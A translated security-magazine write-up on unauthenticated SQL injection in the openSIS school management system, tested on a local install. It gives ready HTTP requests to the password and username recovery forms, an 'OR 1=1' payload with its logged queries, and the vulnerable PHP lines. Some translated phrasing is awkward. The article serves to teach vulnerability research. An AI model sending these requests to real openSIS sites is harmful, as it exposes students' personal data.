Examining SQL Injection Vulnerabilities in openSIS through a Live Demonstration – Hacker

In this article, we will analyze several types of SQL injections using a working example – an openSIS application, in the code of which I found several serious problems. If you want to learn how to detect potential problems in PHP code, this material should be a living illustration. It will be especially useful for beginners who want to understand the SQLi topic.

openSIS is a free and open educational information system available to schools and higher education institutions. It is developed and supported by Open Solutions for Education.

Advertisement

I installed this application locally, which allowed me to see all the queries it sent to the database. In other words, testing was carried out using a white box method: knowledge of the code and data structure allowed us to carefully study how what the user entered was processed and how SQL queries were formed.

I was looking for places in the code where input is inserted into the SQL query without proper checking and cleaning (validation and sanitization). Let's see what I managed to find.

warning

The article is for informational purposes only and is intended for security specialists conducting testing under a contract. The author and editors are not responsible for any harm caused by using the information provided. Distribution of malware, disruption of systems and violation of confidentiality of correspondence are prosecuted by law.

Logging

First of all, we need to set up logging of queries to the database. That is, we need to record the queries being executed to the database, so that later we can use them to see how the program responded to what the user entered on the site. This will help us see problems more clearly and take advantage of them.

Advertisement

In MySQL or MariaDB, to enable logging you need to do the following:

  1. Create file mysql.log in the directory /var/log/mysql.
  2. Change permissions on a file or folder and grant permissions to the mysql user:

    chown mysql:mysql /var/log/mysql -R

  3. Open the MySQL/MariaDB settings file, usually located in /etc/mysql/my.cnf or /etc/my.cnf.

  4. Find section (mysqld) (if it is not there, add it yourself).

  5. Add or uncomment the following lines to enable query logging:

    general_log = 1

    general_log_file = /var/log/mysql/mysql.log

  6. Restart the MySQL/MariaDB service for the changes to take effect.

A little about SQLi

Looking ahead, I will say that we will find (but will not exploit) “blind” SQL injections. Unlike other forms of SQLi, blind SQL injections do not directly expose data and require a nuanced approach to data extraction. Blind SQL injections fall into two main categories: Boolean-based and time-based.

In Boolean Blind SQLi, we modify the SQL query so that the system returns a Boolean value—that is, an answer to whether the expression is true or false. This type of attack exploits the binary nature of responses: the content of the web page or HTTP response code will change depending on the truth of the injected request. For example, changing a query may cause elements on a web page to appear and disappear depending on whether the query results are true (the condition exists in the database) or false (it does not exist).

Temporary blind SQL injections are more stealthy. Here we inject SQL commands that make the database think a little longer than usual and use that to pull data out of it. The lack of visual feedback on the page makes these attacks especially difficult to detect. If the query condition is true, the database response is deliberately delayed, and no delay means “false”. By measuring response time, we can determine the presence or absence of specific data in the database.

Unauthenticated SQLi

When searching for bugs in an application, you should focus primarily on vulnerabilities that do not require user authentication, since they are the most dangerous. I found two similar SQL injections in the “Student” section in the functions responsible for recovering the username and password.

I sent two requests: the first, simulating the work of the Forgot Password form, the second – Forgot Username.

Forgot Password:

POST /openSIS/ResetUserInfo.php HTTP/1.1

Host: 192.168.147.131

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0

pass_user_type=pass_student&pass_type_form=password&password_stn_id=XSS&uname=aaaaa&month_password_dob=04&day_password_dob=25&year_password_dob=2024&pass_email=bbbbb&password_stf_email=ccccc&TOKEN=697a3d1713a51879a79ee08052d4683c68d78a1c776f606e32e92127d04c33e5

Forgot Username:

POST /openSIS/ResetUserInfo.php HTTP/1.1

Host: 192.168.147.131

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0

uname_user_type=uname_student&user_type_form=username&username_stn_id=XSS&pass=aaaaaaa&month_username_dob=04&day_username_dob=30&year_username_dob=2024&un_email=&username_stf_email=&TOKEN=bf2278f6caffbf561127ce91c29849fdff3b9add9d88dcd7118f8cf1fca807b5&save=Confirm

Here are the SQL queries it was transformed into:

Query SELECT s.* FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'

AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS AND la.PROFILE_ID=3

Query SELECT la.PASSWORD FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30'

AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS

As you see, s.STUDENT_ID is not enclosed in quotes, which makes this variable vulnerable to SQL injection. I can use the payload XSS OR 1=1:

tail -f /var/log/mysql/mysql.log | grep -i 'xss'

2024-04-27T13:35:15.303711Z 9 Query

SELECT s.* FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='aaaaa'

AND s.BIRTHDATE='2024-04-25' AND s.STUDENT_ID=XSS OR 1=1

AND la.PROFILE_ID=3

2024-04-27T13:35:29.563796Z 10 Query

SELECT la.PASSWORD FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='2024-04-30'

AND la.PROFILE_ID=3 AND s.STUDENT_ID=XSS OR 1=1

This is what the vulnerable code for restoring a username looks like. File ResetUserInfo.phpline 395:

$get_stu_info = DBGet(DBQuery('SELECT la.PASSWORD FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''

AND la.PROFILE_ID=3 AND s.STUDENT_ID=' . $username_stn_id . ''));

And here is the vulnerable code that processes the password recovery form. File ResetUserInfo.phpline 296:

$stu_info = DBGet(DBQuery('SELECT s.* FROM students s,login_authentication la

WHERE la.USER_ID=s.STUDENT_ID AND la.USERNAME='' . $uname . ''

AND s.BIRTHDATE='' . date('Y-m-d', strtotime($stu_dob)) . ''

AND s.STUDENT_ID=' . $password_stn_id . ' AND la.PROFILE_ID=3'));

From this we can understand that if we rattle according to the expression =' . $then we'll probably get all the parameters that aren't quoted.

Advertisement